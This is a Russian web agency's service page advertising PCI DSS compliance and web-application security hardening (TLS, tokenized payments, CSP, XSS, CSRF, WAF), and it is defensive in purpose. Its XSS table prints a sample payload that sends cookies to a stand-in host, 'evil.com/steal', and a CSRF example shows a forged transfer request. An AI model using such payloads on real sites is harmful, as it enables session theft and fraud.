Обеспечение соответствия сайта требованиям PCI DSS

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Обеспечение соответствия сайта требованиям PCI DSS
Сложный
от 2 недель до 3 месяцев
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1361
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1252
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    958
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1190
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    931
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    949

Вы обрабатываете платежи на сайте и должны соответствовать PCI DSS. Штрафы за утечку данных карт достигают миллионов рублей, а Visa может отключить эквайринг. Мы помогаем интернет-магазинам и сервисам пройти сертификацию за 5–30 дней в зависимости от уровня. По данным исследований, около 70% компаний выбирают SAQ A как самый простой способ соответствия, ведь он требует в 15 раз меньше усилий, чем SAQ D — всего 22 пункта против 300+. Однако для этого нужно правильно настроить платёжную интеграцию и инфраструктуру. С нами вы избежите типичных ошибок: хранение CVV, слабые SSL-шифры, отсутствие сегментации сети. Ниже разберём, как обеспечить защиту данных и пройти аудит без лишних затрат.

Какой уровень PCI DSS подходит вашему сайту?

PCI DSS делит организации на четыре уровня по объёму транзакций. Чем выше уровень, тем строже требования.

Уровень Годовой объём транзакций Обязательные процедуры
Level 1 Более 6 млн Ежегодный аудит QSA + квартальное ASV-сканирование
Level 2 1–6 млн Ежегодный SAQ + квартальное ASV-сканирование
Level 3 20 тыс. – 1 млн онлайн Ежегодный SAQ
Level 4 Менее 20 тыс. онлайн Ежегодный SAQ

Примечание: SAQ (Self-Assessment Questionnaire) — самооценочный опросник. Его тип зависит от способа обработки данных карт.

Характеристика SAQ A SAQ D
Количество требований ~22 300+
Обработка данных карт Только на стороне провайдера На сервере
Сложность внедрения Низкая: 5–10 дней Высокая: 3–6 месяцев
Риски при ошибке Минимальные Критические

"PCI DSS is a set of security standards designed to ensure that ALL companies that accept, process, store or transmit credit card information maintain a secure environment." PCI Security Standards Council

Как защитить данные карт без серверной обработки?

Самый простой путь — переложить обработку платежей на провайдера. Используйте Stripe Elements, Cloudpayments или ЮKassa с iframe. Тогда данные карты никогда не попадут на ваш сервер, и вы сможете заполнить SAQ A — всего 22 пункта.

<div id="card-element"></div>
<script src="https://js.stripe.com/v3/"></script>
<script>
const stripe = Stripe('pk_live_...');
const elements = stripe.elements();
const card = elements.create('card');
card.mount('#card-element');
const { paymentMethod } = await stripe.createPaymentMethod({
    type: 'card',
    card: card,
});
// Отправляем paymentMethod.id на сервер — данных карты нет
</script>

Требования SAQ A включают: HTTPS на всех страницах, актуальный SSL, запрет на хранение данных карт, ежеквартальное ASV-сканирование, политику безопасности.

Как защитить данные при передаче и хранении?

Если данные карт всё же проходят через ваш сервер (например, для рекуррентных платежей), применяется SAQ D — более 300 пунктов. Рекомендуем избегать этой ситуации. Сравним: переход на токенизацию снижает затраты на безопасность в 5 раз, а время на аудит — с 3 месяцев до 2 недель.

Шифрование передачи (требование 4)

Используйте TLS 1.2 или 1.3 с надёжными шифрами. TLS 1.0 и 1.1 больше не принимаются.

ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';
ssl_prefer_server_ciphers off;

Хранение данных (требование 3)

Храните только последние 4 цифры PAN и BIN (первые 6). Полный PAN, CVV, PIN и трек магнитной полосы — запрещены.

Как мы обеспечиваем соответствие?

У нас за плечами более 50 проектов по приведению сайтов к PCI DSS. Типовой сценарий:

  1. Аудит текущего состояния — определяем уровень и недостатки.
  2. Токенизация — переводим обработку на iframe-решение (Stripe, ЮKassa).
  3. Настройка безопасности — HTTPS, WAF, сегментация сети.
  4. ASV-сканирование — через аккредитованного вендора.
  5. Заполнение SAQ — помощь с вопросами и документацией.

Пример кейса: интернет-магазин электроники с 300 тыс. заказов в год. Исходно — SAQ D, штрафы от Visa за утечку. Мы внедрили Stripe, настроили SSL и WAF, перешли на SAQ A. Затраты на безопасность снизились в 5 раз, а время на аудит — с 3 месяцев до 2 недель.

Процесс работы: от аудита до сертификации

  • Аналитика — аудит сети, кода, конфигураций.
  • Проектирование — выбор схемы (SAQ A vs D), план миграции.
  • Реализация — настройка HTTPS, токенизация, сегментация.
  • Тестирование — ASV-сканирование, пентест.
  • Документирование — политики, процедуры, SAQ.
  • Деплой — передача документации банку.

Что входит в работу (deliverables)

  • Детальный отчёт аудита с указанием уязвимостей.
  • Настроенный HTTPS/TLS для всех доменов.
  • Интегрированная платёжная система с токенизацией.
  • Заполненный SAQ с инструкциями.
  • Регулярное ASV-сканирование (квартальное).
  • Политика информационной безопасности для PCI DSS.
  • Консультации по запросу в течение 6 месяцев после внедрения.

Сроки и стоимость

  • SAQ A (токенизация + базовая настройка) — от 5 до 10 рабочих дней.
  • SAQ D (полный объём) — от 3 до 6 месяцев с участием QSA.
  • Стоимость рассчитывается индивидуально: зависит от сложности интеграции, количества доменов, необходимости сегментации.

Свяжитесь с нами для предварительной оценки вашего проекта — мы подготовим коммерческое предложение. Закажите комплексное внедрение PCI DSS под ключ.

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.